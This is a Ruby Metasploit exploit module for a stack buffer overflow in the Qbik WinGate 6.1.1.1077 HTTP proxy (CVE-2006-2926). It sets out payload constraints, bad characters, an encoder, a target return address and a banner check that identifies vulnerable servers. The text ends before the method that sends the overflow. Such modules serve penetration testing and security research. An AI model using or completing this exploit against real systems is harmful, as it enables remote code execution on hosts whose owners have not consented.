##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Qbik WinGate WWW Proxy Server URL Processing Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Qbik WinGate version
6.1.1.1077 and earlier. By sending malformed HTTP POST URL to the
HTTP proxy service on port 80, a remote attacker could overflow
a buffer and execute arbitrary code.
},
'Author' => 'patrick',
'License' => MSF_LICENSE,
'Version' => '$Revision: 10394 $',
'References' =>
[
[ 'CVE', '2006-2926' ],
[ 'OSVDB', '26214' ],
[ 'BID', '18312' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d\x20+&=%\/\\\#;\"\':<>?",
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'WinGate 6.1.1.1077', { 'Ret' => 0x01991932 } ], # call esi
],
'Privileged' => true,
'DisclosureDate' => 'Jun 07 2006',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80)
], self.class)
end
def check
connect
sock.put("GET /\r\n\r\n") # Malformed request to get proxy info
banner = sock.get_once
if (banner =~ /Server:\sWinGate\s6.1.1\s\(Build 1077\)/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
